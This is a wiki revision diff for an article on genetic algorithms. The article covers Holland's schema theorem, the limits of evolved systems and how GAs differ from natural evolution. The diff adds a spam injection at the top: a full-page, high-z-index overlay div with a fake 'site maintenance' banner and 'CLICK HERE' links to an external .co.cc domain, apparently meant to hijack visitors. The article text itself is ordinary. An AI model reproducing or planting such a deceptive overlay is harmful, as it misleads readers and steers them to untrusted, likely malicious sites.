Genetic Algorithm

From CasGroup

Jump to: navigation, search
(New page: '''Genetic Algorithms''' (GA) are a class of optimization or search algorithms that imitate the biological process of evolution. They are a particular class of Evolutionary Algorithm...)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ecydoxe.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ecydoxe.co.cc CLICK HERE]=
 +
----
 +
</div>
'''Genetic Algorithms''' (GA) are a class of optimization or search algorithms that  
'''Genetic Algorithms''' (GA) are a class of optimization or search algorithms that  
imitate the biological process of evolution. They are a particular class of  
imitate the biological process of evolution. They are a particular class of  
Line 22: Line 30:
In the most basic form the individuals, i.e. strings, encode the solution directly
In the most basic form the individuals, i.e. strings, encode the solution directly
and define an solution for an optimization problem. In a more advanced form the  
and define an solution for an optimization problem. In a more advanced form the  
-
individuals are some form of "genetic" blueprint for the construction of a phenotype,  
+
individuals are some form of &quot;genetic&quot; blueprint for the construction of a phenotype,  
which has a certain measurable fitness against some criterion. Here the phenotype  
which has a certain measurable fitness against some criterion. Here the phenotype  
determines the fitness and the amount of offspring or descendants.
determines the fitness and the amount of offspring or descendants.
Line 33: Line 41:
They were first used and invented by John H. Holland and his group around 1970.
They were first used and invented by John H. Holland and his group around 1970.
-
Holland proved what is called the schema theorem, showing that, "if certain  
+
Holland proved what is called the schema theorem, showing that, &quot;if certain  
patterns of strings are fitter than others, then, in the long run, the GA  
patterns of strings are fitter than others, then, in the long run, the GA  
can't help but find them, and the average number of strings in the population  
can't help but find them, and the average number of strings in the population  
-
matching those patterns will increase exponentially" (see
+
matching those patterns will increase exponentially&quot; (see
[http://cscs.umich.edu/~crshalizi/notebooks/evol-comp.html]).
[http://cscs.umich.edu/~crshalizi/notebooks/evol-comp.html]).
Line 59: Line 67:
== Problems ==
== Problems ==
-
As Kevin Kelly says in his book "Out of Control", the price of evolution and evolving systems is to give up control. It is hard to understand and predict incomprehensible evolved systems, they are usually neither simple nor elegant, and therefore it is nearly impossible to correct, change or fix them manually. He argues "The things we are proud of in engineering - precision, predictability, exactness, and correctness - are diluted when evolution is introduced. These have to be diluted because survivability in a world of accidents, unforeseen circumstances, shifting environments - in short, the real world - demands a fuzzier, looser, more adaptable, less precise stance" (p.310).
+
As Kevin Kelly says in his book &quot;Out of Control&quot;, the price of evolution and evolving systems is to give up control. It is hard to understand and predict incomprehensible evolved systems, they are usually neither simple nor elegant, and therefore it is nearly impossible to correct, change or fix them manually. He argues &quot;The things we are proud of in engineering - precision, predictability, exactness, and correctness - are diluted when evolution is introduced. These have to be diluted because survivability in a world of accidents, unforeseen circumstances, shifting environments - in short, the real world - demands a fuzzier, looser, more adaptable, less precise stance&quot; (p.310).
Thus a few of the problems are
Thus a few of the problems are
Line 69: Line 77:
== Differences to real Evolution ==
== Differences to real Evolution ==
-
Contrary to real [[Evolution|evolution]], there is no natural selection in genetic algorithms, only "artificial selection". What is selected is chosen by the programmer. In true evolutionary systems and "real life" the system itself defines the criteria for what it selects, as Kevin Kelly argues in his book "Out of Control" (p.341). The selection criteria "survival of the fittest" arises naturally in biological evolution. Another difference between artificial and natural selection is a litte amount of arbitrariness and randomness: in nature, even the fittest individual could be killed by accident, disaster, misfortune or whatever, which is not the case in artificial systems.
+
Contrary to real [[Evolution|evolution]], there is no natural selection in genetic algorithms, only &quot;artificial selection&quot;. What is selected is chosen by the programmer. In true evolutionary systems and &quot;real life&quot; the system itself defines the criteria for what it selects, as Kevin Kelly argues in his book &quot;Out of Control&quot; (p.341). The selection criteria &quot;survival of the fittest&quot; arises naturally in biological evolution. Another difference between artificial and natural selection is a litte amount of arbitrariness and randomness: in nature, even the fittest individual could be killed by accident, disaster, misfortune or whatever, which is not the case in artificial systems.
-
In biological [[Evolution|evolution]], there is also a clear distinction between genotype and phenotype. Many implementations of genetic algorithms use no digital counterpart of "genes", and do not distinguish between genotype and phenotype.
+
In biological [[Evolution|evolution]], there is also a clear distinction between genotype and phenotype. Many implementations of genetic algorithms use no digital counterpart of &quot;genes&quot;, and do not distinguish between genotype and phenotype.
== Books ==  
== Books ==  

Revision as of 02:54, 24 November 2010

Personal tools